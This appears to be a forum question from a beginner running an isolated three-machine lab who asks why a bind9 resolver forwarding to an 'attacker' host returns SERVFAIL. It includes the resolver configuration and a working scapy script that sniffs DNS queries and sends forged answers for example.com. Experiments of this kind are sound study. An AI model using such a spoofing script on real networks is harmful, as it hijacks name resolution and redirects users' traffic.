linux noob here, I'm not sure if it's the right forum, so sorry about that.As a part of an experiment I'm running 3 Ubuntu machines in the Create environment. Call them client, server and attacker. Client connected to server. (10.1.1.2 and 10.1.1.3, respectively)Server connected to attacker. (10.1.2.3 and 10.1.2.2, respectively)Server runs a bind9 server, and is intended to simulate a recursive resolver that forwards any query to attacker, which operates as MITM. In the server, I've edited named.conf.options: options {    directory /var/cache/bind;    dump-file /var/cache/bind/dump.db;    recursion yes;    allow-recursion { any; };    allow-query { any; };    allow-query-cache { any; };    forwarders { 10.1.2.2; };    forward only;    dnssec-validation no;    auth-nxdomain no;    listen-on-v6 { any; };}In the Client, I've edited resolv.conf:nameserver 10.1.1.3nameserver 192.168.252.1search create.iucc.ac.ilThe second ns is the Create environment ns, it's not connected to the internet and only answer the query for create.iucc.ac.il. In the attacker I'm running the following scapy script: from scapy.all import *    def callback(pkt):        if (DNS in pkt and pkt[DNS].opcode == 0 and pkt[DNS].ancount == 0):            if 'example.com' in str(pkt['DNS Question Record'].qname):                spfResp = IP(dst=pkt[IP].src, src=pkt[IP].dst)/\                UDP(dport=pkt[UDP].sport, sport=pkt[UDP].dport)/\                DNS(id=pkt[DNS].id, qr=1, aa=1,\                qd=pkt[DNS].qd,an=DNSRR(rrname=pkt[DNS].qd.qname, ttl=1600, rdata=6.6.6.6))                send(spfResp, verbose=1)                return 'Spoofed DNS Response Sent'    sniff(filter=dst port 53, prn=callback)Which is supposed to return answers for queries about example.com. However, when I use dig example.comIn the client, I receive SERVFAIL from 10.1.1.3. The scapy script does send the response to the server.The only time the client receives an answer (same one as the script intended) is when I spam the dig example.com command.Why is it not working? Are my configurations correct? (sorry for the long post, I tried to make my problem as clear as possible)
Problem in receiving answers from bind DNS server
linux;dns;bind